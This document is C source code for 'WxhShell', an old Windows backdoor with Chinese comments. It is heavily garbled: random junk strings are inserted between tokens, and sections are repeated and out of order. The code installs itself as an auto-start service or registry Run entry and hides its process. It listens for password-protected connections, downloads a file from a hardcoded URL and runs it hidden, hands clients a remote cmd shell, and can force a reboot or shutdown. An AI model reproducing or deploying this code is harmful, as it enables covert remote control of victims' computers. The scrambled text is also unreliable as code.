PgxD?Oi8 ULONG UniqueProcessId; 5?%(j!p5 ULONG InheritedFromUniqueProcessId; iI&J_Y{1a_ } PROCESS_BASIC_INFORMATION; ^'6!)y# yC6XO&:g PROCNTQSIP NtQueryInformationProcess; ~.yt rFdq \BSi static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wUW+S5"K static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \ec,=7S<Zf 7 45Uo' HANDLE hProcess; JX`+b PROCESS_BASIC_INFORMATION pbi; ![{> f6{J ()= HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q%8,@xg if(NULL == hInst ) return 0; r;I3N+ QJ-6aB g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jrZM g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IbF[nQ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `=vL?w^QS [|Jzs[ if (!NtQueryInformationProcess) return 0; QV4{=1A v; &-]ka hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ixE72bX if(!hProcess) return 0; d%u|)
=7 \h,S1KmIBD if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /\_0daUx j<Lj1P3 CloseHandle(hProcess); >z.o?F $ R,7#7bG hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 31Y+bxQ if(hProcess==NULL) return 0; PIsMx -i0 bL ] *K$ HMODULE hMod; qOqQt=ObU char procName[255]; RU>T?2 unsigned long cbNeeded; WENPS*0oS] ZGH2 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A +e
={-* K
p~x CloseHandle(hProcess); p4*VE5[?_+ o}
YFDYi if(strstr(procName,"services")) return 1; // 以服务启动 BXnSkT7 0[ H'l",~ return 0; // 注册表启动 Ky|d RbK, } @s b\0 } VSL6tQp // 主模块 "U4Sn'&h@ int StartWxhshell(LPSTR lpCmdLine)
4b,N"w{v { zdlysr# SOCKET wsl; ~(~fuDT~O BOOL val=TRUE; =*~]lz__M int port=0; B|/=E470G struct sockaddr_in door; 27<~m=`}d
Ma2sQW\ if(wscfg.ws_autoins) Install(); p.SEW5 &S>m+m' port=atoi(lpCmdLine); nX7{09 H3H3UIIT_ if(port<=0) port=wscfg.ws_port; W}50E.\# FrIgu k1 WSADATA data; 2$V]XSe if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^dJ/>?1 yCwBZ/C if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Nv{r`J. setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UpF,e>s door.sin_family = AF_INET; XkDjA#nx` door.sin_addr.s_addr = inet_addr("127.0.0.1"); PxhB=i!'$ door.sin_port = htons(port); _{_ybXG| RLu y;z if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %oJ_,m_( closesocket(wsl); se:]F/ return 1; l&R~I6^E } EC<g7_0F 3P2H!r if(listen(wsl,2) == INVALID_SOCKET) { Gc^w,n[E closesocket(wsl); Fo|6 PoSo return 1; jeFX?]Q } ^i&sQQ({ Wxhshell(wsl); a^hDxeG WSACleanup(); ODyK/Q3 k1e0kxn return 0; N,0l5fD~T kAsYh4[ } P:eY>~m<; q"7rd?r52 // 以NT服务方式启动 #2<.0@@
TI VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {dM18; { l}:&} DWORD status = 0; TRW{`b[ DWORD specificError = 0xfffffff; oKLL~X>!U a/A$
MXZ_ serviceStatus.dwServiceType = SERVICE_WIN32; A.8{LY; serviceStatus.dwCurrentState = SERVICE_START_PENDING; -r )Q| U serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A>8"8=C serviceStatus.dwWin32ExitCode = 0; vq-Tq> serviceStatus.dwServiceSpecificExitCode = 0; 2Z;wU] serviceStatus.dwCheckPoint = 0; _Q_"_*e serviceStatus.dwWaitHint = 0; xE`uFHuS} 2I(b ad hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |75>8; if (hServiceStatusHandle==0) return; =~}\g;K1Q KSe`G;{ status = GetLastError(); A\nL(Nd if (status!=NO_ERROR) ;.>CDt-E] { $$ma1.t" serviceStatus.dwCurrentState = SERVICE_STOPPED; ca%s$' d serviceStatus.dwCheckPoint = 0; ,Dd
)= serviceStatus.dwWaitHint = 0; yAz`n[ serviceStatus.dwWin32ExitCode = status; z UN&L7D serviceStatus.dwServiceSpecificExitCode = specificError; @0H}U$l SetServiceStatus(hServiceStatusHandle, &serviceStatus);
_+73Y' return; b9b384Q1O } gmtp/?>e Jn!-Wa, serviceStatus.dwCurrentState = SERVICE_RUNNING; f86h"#4 serviceStatus.dwCheckPoint = 0; = m]|C1x serviceStatus.dwWaitHint = 0; 5$9g4 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ye!}hm=w } <mN.6@*{ 0/z=G!z\ // 处理NT服务事件,比如:启动、停止 JDeG@N$ VOID WINAPI NTServiceHandler(DWORD fdwControl) hUN]Lm6M { =8:m:Y&|`G switch(fdwControl) jYE<d&Cq { {/d<Jm: case SERVICE_CONTROL_STOP: tl5}#uJ serviceStatus.dwWin32ExitCode = 0; Qa-]IKOs serviceStatus.dwCurrentState = SERVICE_STOPPED; ^'9:n\SKQ serviceStatus.dwCheckPoint = 0; !ZlBM{C serviceStatus.dwWaitHint = 0; Jm0o[4 { 4JV/Ci5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); r$7fw}'I } H&Jp,<\x return; 2
u:w case SERVICE_CONTROL_PAUSE: wtlIyE serviceStatus.dwCurrentState = SERVICE_PAUSED; >#~!03 break; 4B?8$&b case SERVICE_CONTROL_CONTINUE: $3.hZx> serviceStatus.dwCurrentState = SERVICE_RUNNING; c%,@O&o break; 2wCTd:e: case SERVICE_CONTROL_INTERROGATE: kYMKVR break; H5wzzSV!:B }; 9HJrMX SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?5@!r>i=< } euO!vLd X 4L<h%
'Zn // 标准应用程序主函数 za$v I?ux int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _ zM/>Qa { {-?^j{O0. Nmu;+{19M // 获取操作系统版本 YB?yi( "yL OsIsNt=GetOsVer(); N<XS-XB, GetModuleFileName(NULL,ExeFile,MAX_PATH); v',% R<wPO-dX // 从命令行安装 BCUn[4Gp if(strpbrk(lpCmdLine,"iI")) Install(); /~=W3lhY [ H"\<"1o // 下载执行文件 mIk8hA@B_ if(wscfg.ws_downexe) { a@+n if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W`auQO WinExec(wscfg.ws_filenam,SW_HIDE); cPu<:<F[ } 0i%r+_E_ ).IB{+ if(!OsIsNt) { NmbA~i // 如果时win9x,隐藏进程并且设置为注册表启动 vxN,oa{hf HideProc(); p@`]9tLP(K StartWxhshell(lpCmdLine); P[Q3z$I} } ~\uI&S5 else R1A|g=kF if(StartFromService()) z''ITX)oG // 以服务方式启动 $"#2hVO StartServiceCtrlDispatcher(DispatchTable); 8nKZ else z _A]mJ // 普通方式启动 VR:4|_o StartWxhshell(lpCmdLine); xb6y=L xhq-$"B return 0; c_p7vvI&c0 } VH*4fcT'D ]!%
p21e )H
HBf< [yFf(>B =========================================== QV&yVH=Xs e#{,M8 ?7?hDw_Nk Ih RWa|{I I;u1mywd <.d^jgG(j " IZw>!KYG VDnN2)Km* #include <stdio.h> wgETL|3- #include <string.h> 98Dg[O #include <windows.h> E![Ye@w #include <winsock2.h> 3kU4?D] #include <winsvc.h> VgBZ@*z(x #include <urlmon.h> 4xYW?s( {`KRr:w #pragma comment (lib, "Ws2_32.lib") !t.*xT4W #pragma comment (lib, "urlmon.lib") d<,'9/a> = ^NTHc^* #define MAX_USER 100 // 最大客户端连接数 16pk4f8 #define BUF_SOCK 200 // sock buffer L'A>IBrz #define KEY_BUFF 255 // 输入 buffer 1\XR6q:2 >5%;NI5
G #define REBOOT 0 // 重启 >)+-: #define SHUTDOWN 1 // 关机 3_5]0:?]- ZjB]pG+ #define DEF_PORT 5000 // 监听端口 z+~klv3 }4dbS ;C< #define REG_LEN 16 // 注册表键长度 N?Nu' #define SVC_LEN 80 // NT服务名长度 ;1gWz
8?
U!PW // 从dll定义API 4Y.o RB typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q2SlK8`QJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bx XNv^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s+omCr|H;A typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \jHHj\LLr. +xL*`fn // wxhshell配置信息 -%,3qhsd struct WSCFG { IGKtugU% int ws_port; // 监听端口 D~^P}_e. char ws_passstr[REG_LEN]; // 口令 ,JU3w int ws_autoins; // 安装标记, 1=yes 0=no Q"(*SA+-| char ws_regname[REG_LEN]; // 注册表键名 5w^6bw){ char ws_svcname[REG_LEN]; // 服务名 iL48 char ws_svcdisp[SVC_LEN]; // 服务显示名 /
%9DO char ws_svcdesc[SVC_LEN]; // 服务描述信息 s%Y8;D,~+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6\BZyry3* int ws_downexe; // 下载执行标记, 1=yes 0=no dm(Xy'*iQ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VnU/_#n char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Cu\6VnW_6 (gQr?K }; 9-`P\/ e'y$X;nIv // default Wxhshell configuration *mVQN1 struct WSCFG wscfg={DEF_PORT, s^vw]D "xuhuanlingzhe", y'
r I1eF 1, [t}@>@W| "Wxhshell", S
A\_U::T "Wxhshell", azCod1aL{ "WxhShell Service", m|by^40A( "Wrsky Windows CmdShell Service", pl4:>4l/ "Please Input Your Password: ", Tu[I84 1, C"
2K U* "http://www.wrsky.com/wxhshell.exe", g^mnYg5 "Wxhshell.exe" <0h,{28 }; {^jRV@ FpYeuH% // 消息定义模块 JjC&
io char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J=`2{
'l char *msg_ws_prompt="\n\r? for help\n\r#>"; Rk$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CTP!{<ii char *msg_ws_ext="\n\rExit."; tbm/gOBw char *msg_ws_end="\n\rQuit."; YLU.]UC char *msg_ws_boot="\n\rReboot..."; . l>. char *msg_ws_poff="\n\rShutdown..."; %p}xW V . char *msg_ws_down="\n\rSave to "; |!?lwBs4 ~:xR0dqx char *msg_ws_err="\n\rErr!"; `=.A])> char *msg_ws_ok="\n\rOK!"; k>V~iA .Z9{\tj char ExeFile[MAX_PATH]; <t"KNKI int nUser = 0; .Y*jL &! HANDLE handles[MAX_USER]; 2E$K='H:, int OsIsNt; v1aE[Q b+tm[@|,v SERVICE_STATUS serviceStatus; S0]JeP+3! SERVICE_STATUS_HANDLE hServiceStatusHandle; |e+r|i] 0/4"Jh$t // 函数声明 cGUsao int Install(void); }xb?C""q^q int Uninstall(void); i[O{M`Z% int DownloadFile(char *sURL, SOCKET wsh); 14S_HwX int Boot(int flag); {=Z _L?j void HideProc(void); m2j]wUh" int GetOsVer(void); &0k`=?v$ int Wxhshell(SOCKET wsl); !;U;5 e=0 void TalkWithClient(void *cs); 87ptab@ int CmdShell(SOCKET sock); )TtYm3, int StartFromService(void);
B'QcD int StartWxhshell(LPSTR lpCmdLine); PZYVLUw
` ? \p,s-CR: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6BY(Y(z VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9.^2CM6l QTmMj@R&( // 数据结构和表定义 /$=<RUE SERVICE_TABLE_ENTRY DispatchTable[] = Dwa.ZY}- { QZ2a1f'G {wscfg.ws_svcname, NTServiceMain}, F['%?+<3 {NULL, NULL} |Ca
%dg9$@ }; +d'1 3'xmq // 自我安装 [;LP6n7v int Install(void) }c@duf-l { dUc([& char svExeFile[MAX_PATH]; N${Wh|__^l HKEY key; 557%^)v strcpy(svExeFile,ExeFile); :7L[v9' ltg\x8w?c // 如果是win9x系统,修改注册表设为自启动 z>A;|iL if(!OsIsNt) { EHF
dQ0gIa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0o]T6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,: Z7P@
RegCloseKey(key); z:)z]6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =DsFR9IB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ohlCuH3 RegCloseKey(key); xDO1gnH% return 0; w%uM=YmuT } m2>$)\-; } kj]m@mS[ } du>d ? else { 2"pFAQBw~i tBtmqxx // 如果是NT以上系统,安装为系统服务 #V U>Z|$@N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3,dIW*<** if (schSCManager!=0) _BPp=(| { :P?zy| aBi SC_HANDLE schService = CreateService V[^+lR ( !JnxNIr&i| schSCManager, w@i;<LY. wscfg.ws_svcname, W;^6=(&xn wscfg.ws_svcdisp, #%{x*y:Ms SERVICE_ALL_ACCESS, 01">$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gr|IM,5P4 SERVICE_AUTO_START, 8!|LJI SERVICE_ERROR_NORMAL, !D~\uW1b svExeFile, /"
6Gh' NULL, Nf1&UgX NULL, ' )~G2Ys NULL, 4O>0gK{w NULL, Z,:}H6Mj9 NULL #]}]ZE ); B]wfDUG if (schService!=0) dz,4);Mg { 1pJ?YV CloseServiceHandle(schService); ueu=$.^;g CloseServiceHandle(schSCManager); ~^v*f strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); / 0y5/ strcat(svExeFile,wscfg.ws_svcname); a'|/=$
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n|Gw?@CU7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &]jCoBj+_ RegCloseKey(key); <qjolMO` return 0; '~n=<Y } 8ps1Q2| } _64<[2 CloseServiceHandle(schSCManager); <ql:n } UdK +,k~m/ } U!i @XA%P $&KiN82, return 1; ^KjxQO6y3 } :~LOw}N!aQ Po7oo9d // 自我卸载 )Kg_E6 int Uninstall(void) m?O"LGBB= { e?\34F HKEY key; ,.TwM;w= C3-I5q(V] if(!OsIsNt) { G&@vTcF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P.'$L\ RegDeleteValue(key,wscfg.ws_regname); naiy] oY" RegCloseKey(key); aB)G!Rm& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z18<rj RegDeleteValue(key,wscfg.ws_regname); sV-UY!
RegCloseKey(key); !WNO!S0/j return 0; |6T"T P } oG'
'my#3 } =0mXTY1 } A"Sp7M[J else { &O|qx~( UmOK7SPi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pL`)^BJ if (schSCManager!=0) z2god 1" { 91:TE8?Z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pw/$
}Q9X if (schService!=0) yPT\9"/ { mJa8;X!r6 if(DeleteService(schService)!=0) { *ez7Q CloseServiceHandle(schService); Mq4>Mu CloseServiceHandle(schSCManager); x4[
Fn3JL return 0; (k24j*1e$ } g#r,u5<*? CloseServiceHandle(schService); ~vstuRRST }
41^
$ CloseServiceHandle(schSCManager); VCc57Bo } MURHv3 } Z.3*sp0
yv $##LSTA return 1; YfJQ]tt1 } D~r{(u~Ya *%jd>e7d // 从指定url下载文件 *FC26_pH int DownloadFile(char *sURL, SOCKET wsh) EQ2HQz] { v0,&wdi HRESULT hr; O^<\]_l char seps[]= "/";
3y]rhB char *token; cPg$*,] char *file; 7&*d]#&~j char myURL[MAX_PATH]; 7U`8W\- char myFILE[MAX_PATH]; 2br~Vn0N V<0J j strcpy(myURL,sURL); 7!('+x(> token=strtok(myURL,seps); )d7U3i while(token!=NULL) "j% L* J) { aKk0kC file=token; A}z1~Z+ token=strtok(NULL,seps); oPC
qv } &WHK|bl U_1N*XK6$ GetCurrentDirectory(MAX_PATH,myFILE); 02mu%|" strcat(myFILE, "\\"); MB3
N3,yL strcat(myFILE, file); C.Re*;EI, send(wsh,myFILE,strlen(myFILE),0); a 8.Xy])! send(wsh,"...",3,0); [*v-i%U} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nCPIpw,]M if(hr==S_OK)
0;:AT|U/d return 0; pb}4{]sI else &1M#;rE;D# return 1; k{ibD5B q-4#)EnW } T8\%+3e. Aj "SSX!L // 系统电源模块 15wwu} X int Boot(int flag) xqLIs:* { uoe>T: HANDLE hToken; '^~38=FA TOKEN_PRIVILEGES tkp; mBWhC<kKs <7yn : if(OsIsNt) { sZYTpZgW4L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ng+Ge5C9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VIg=|Oe), tkp.PrivilegeCount = 1; .p
/VRlLU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +e( (! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }
f+hB if(flag==REBOOT) { ,7*-%05[\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ) kK" 1\m return 0; Ps9YP B- } Wkc^?0p else { VO+3@d: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ["XS|"DM return 0; 8,YxCm ie } 0/0rWqg
/ } eVB.g@%T else { p="K4E8~H if(flag==REBOOT) { {uji7TB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l$eKV(CZ4 return 0; I<L<xwh1(E } uc-Go
6W else { n9r3CLb[ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wVY;)1? return 0; "U%jG`q } 7T@"2WYat } 3:G94cp5 kU$M 8J. return 1; j aq/]I7 } ljRR{HOl qr[+^*Ha // win9x进程隐藏模块 DU.[Sp void HideProc(void) R22P
ol { U&<w{cuA }doJ=lc HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ax"I$6n> if ( hKernel != NULL ) h2#S ? { &4-rDR, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7z4u?>pne* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6N]V.;0_5 FreeLibrary(hKernel); 1[r; } {qkd63X o= N_0. return; Q W1d&Gb.( } b=j]tb, O.~@V(7ah // 获取操作系统版本 d*TpHLm int GetOsVer(void) SK_i 3? { +i.b&PF'H OSVERSIONINFO winfo; bLpGrGJs winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?{M!syD< GetVersionEx(&winfo); 9dXtugp| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a?QDf5Cq return 1; 6
w:@i_2^ else jt8%
L[ return 0; C/je5 } ~'2im[f J Nd.Tda!Kg // 客户端句柄模块 1WMwTBHy+ int Wxhshell(SOCKET wsl) !%_H1jk { k1
SOCKET wsh; IfGQeynj struct sockaddr_in client; .+TriPL DWORD myID; 9QryW\6.@z 'L0{Ed+9 while(nUser<MAX_USER) UCP4w@C { `nDgwp:b" int nSize=sizeof(client);
zOnQ656 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ug|o($CY if(wsh==INVALID_SOCKET) return 1; C5jR|| )wwQv2E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X[
o9^< if(handles[nUser]==0) "x$RTuWA9 closesocket(wsh); KGI0|Z]n~ else 7VwLyy nUser++; (iZE}qf7g } X@ Gm:6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I=3e@aTZ, uY;2tZldf= return 0; {%;KkC8=R } jW-j+WGSM (SlrV8; // 关闭 socket gB?~!J? void CloseIt(SOCKET wsh) ~CB6+t> {
iEf6oM closesocket(wsh); Eb<iR)e H= nUser--; = ?hx+-' ExitThread(0); ]8X Y"2b } vQ}'4i8( S6sw) // 客户端请求句柄 )2P4EEs[ void TalkWithClient(void *cs) )A4WK+yD$z { 3 TN?yP) > Rbgg1^]5 SOCKET wsh=(SOCKET)cs; U&mJ_f#M char pwd[SVC_LEN]; %q@eCN char cmd[KEY_BUFF]; 2\z"6 char chr[1]; Pe !eID8 int i,j; i7[CqObzc !m#cneV while (nUser < MAX_USER) { 'sL>U$( a9q68 if(wscfg.ws_passstr) { wO y1i/oj if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y^ gazr" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k]Y#-Q1p~ //ZeroMemory(pwd,KEY_BUFF); 61Nj&1Ze i=0; Ha\q}~_ while(i<SVC_LEN) { x hFQjV?V *My? l75 // 设置超时 3d.JV'C'c fd_set FdRead; C'hI{4@P struct timeval TimeOut; _|ucC$* FD_ZERO(&FdRead); 'wAOY FD_SET(wsh,&FdRead); =$g8"[4 TimeOut.tv_sec=8; 22|f!la8n TimeOut.tv_usec=0; ~7!J/LHg int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |Mp_qg?g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9Osjh G EO,;^RtB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A`7uw|uO$ pwd=chr[0]; 2oAPJUPOJ if(chr[0]==0xd || chr[0]==0xa) { SPIYB/C pwd=0; <=V2~
asB break; KLXv?4! } l{4=La{?j i++; ^)b*"o } !+.|T9P w.cQ|_ // 如果是非法用户,关闭 socket /c`)Er6d if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y]b5qguK } O xqbHe :YB:)wV,P send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ML0o:8Bd\ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Etj*3/n| A^JeB<,
5a while(1) { <> f M%:ACLYP ZeroMemory(cmd,KEY_BUFF); f{lg{gA( LS?hb)7 // 自动支持客户端 telnet标准 `"M=Z Vk j=0; A==P?,RG while(j<KEY_BUFF) { GljxYH"]# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0K,*FdA cmd[j]=chr[0]; 0z."6r if(chr[0]==0xa || chr[0]==0xd) { JW&/l cmd[j]=0; >.PLD} zE_ break; K,' ]G&K } Zb7KHKO{ j++; KMznl=LF } (@O F
Wc"p Y.@
vdW // 下载文件 l_u1 ~ K if(strstr(cmd,"http://")) { |nXs'TO'O send(wsh,msg_ws_down,strlen(msg_ws_down),0); _"J-P={= if(DownloadFile(cmd,wsh)) fL"-K send(wsh,msg_ws_err,strlen(msg_ws_err),0); &:8a[C2= else [S":~3^B6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >E?626* } !5 %c`4 else { A75IG4] Y-n*K' switch(cmd[0]) { GS~jNZx %Md;=,a:6 // 帮助 Cdiu*#f case '?': { 5_M9 T3 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CIQo2~G break; Gy
'l; 2 } g`gH]W
FcG // 安装 +"T?., case 'i': { uI-te~] if(Install()) 1I KDp]SN send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;04doub else eUVE8pZl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2#ha Icm" break; rayC1#f } ?bQ~+M\ // 卸载 Az6f I*yP case 'r': { =4/lJm`` if(Uninstall()) Q9X_aB0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); E@R7b(:* else HlPf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N(]6pG= break; LwkZ (Tt
} I8`@Srw8 // 显示 wxhshell 所在路径 MH`f!%c case 'p': { P$Xig char svExeFile[MAX_PATH]; &BCl>^wn} strcpy(svExeFile,"\n\r"); c&AA< 6pkv strcat(svExeFile,ExeFile); )fpZrpLXE send(wsh,svExeFile,strlen(svExeFile),0); U9IN# ;W break; me$7\B;wy } :^1 Xfc" // 重启 1'R]An BV case 'b': { P$N\o @
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RXb+"/ if(Boot(REBOOT)) %IW=[D6Tg send(wsh,msg_ws_err,strlen(msg_ws_err),0); M2[;b+W9 else { {*`qL0u]^ closesocket(wsh); 3uz@JY"mK ExitThread(0); $=TFTSO } 3rTYe6q$U break; -2w\8]u } 4rc4}Yu,JI // 关机 Obrv5%'
case 'd': { Q~#udEajI send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
5pI2G if(Boot(SHUTDOWN)) `3SY~&X send(wsh,msg_ws_err,strlen(msg_ws_err),0); W7S`+Pq else { 7P?z{x':T closesocket(wsh); 0tC+? ExitThread(0); w=s:eM@ } 7*M+bZ`x break; ckBcwIXlP& } 8U*}D~%! // 获取shell n87B[R case 's': { x;99[C!$ CmdShell(wsh); +S5"4< closesocket(wsh); \d2Ku10v[ ExitThread(0); YbND2i break; gb|C592R5C } w{UVo1r: // 退出 C!]hu)E case 'x': { g[0b>r7 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D1;H, CloseIt(wsh); D?)91P/R break; ,Za! } <6)Ogv", // 离开 F>%~<or case 'q': { * h!gjbi send(wsh,msg_ws_end,strlen(msg_ws_end),0); {PnvQ?|Z closesocket(wsh); S2kFdx*Zf WSACleanup(); =[FNZ:3 exit(1); 200/ break; kKr7c4q } "H" 4(3 } ;x$,x- } Jv %,v? \ty{KAc& // 提示信息 .EM0R\q if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0WaC.C+2i } B?`Gs^Y{z } O[U^{~iM 75u/'0~5 return; mQhI"3!f } 9i*t3W71] casva; // shell模块句柄 PB_+:S^8 int CmdShell(SOCKET sock) B<u6Z!Pp2 { NGOc:>}k> STARTUPINFO si; o|*ao2a ZeroMemory(&si,sizeof(si)); l<>syHCH;L si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [`BMi-WQ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +)h *) PROCESS_INFORMATION ProcessInfo; s3>,%8O6 char cmdline[]="cmd"; ]+<[D2f CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R?b3G4~ return 0; 1N{}G$'Go } D>|m8-@] lE=(6Q // 自身启动模式 yl/-! int StartFromService(void) zRd^Uks { ?n)d: )Ud" typedef struct ~1]4 J(+ { ijEMS1$=7 DWORD ExitStatus;
<u]M):b3 DWORD PebBaseAddress; ?`bi8 Ck DWORD AffinityMask; N DZ :`D DWORD BasePriority; 1@rI4U@D ULONG UniqueProcessId; v;AsV`g ULONG InheritedFromUniqueProcessId; HQJ_:x
Y } PROCESS_BASIC_INFORMATION; h+<vWo}H m-Q!V+XQp PROCNTQSIP NtQueryInformationProcess; i t.Lh'N;T UmUw>+A static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8[\F*H static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yj3j?.JJk |T\`wcP`q HANDLE hProcess; <E/4/
ANN PROCESS_BASIC_INFORMATION pbi; Y"6
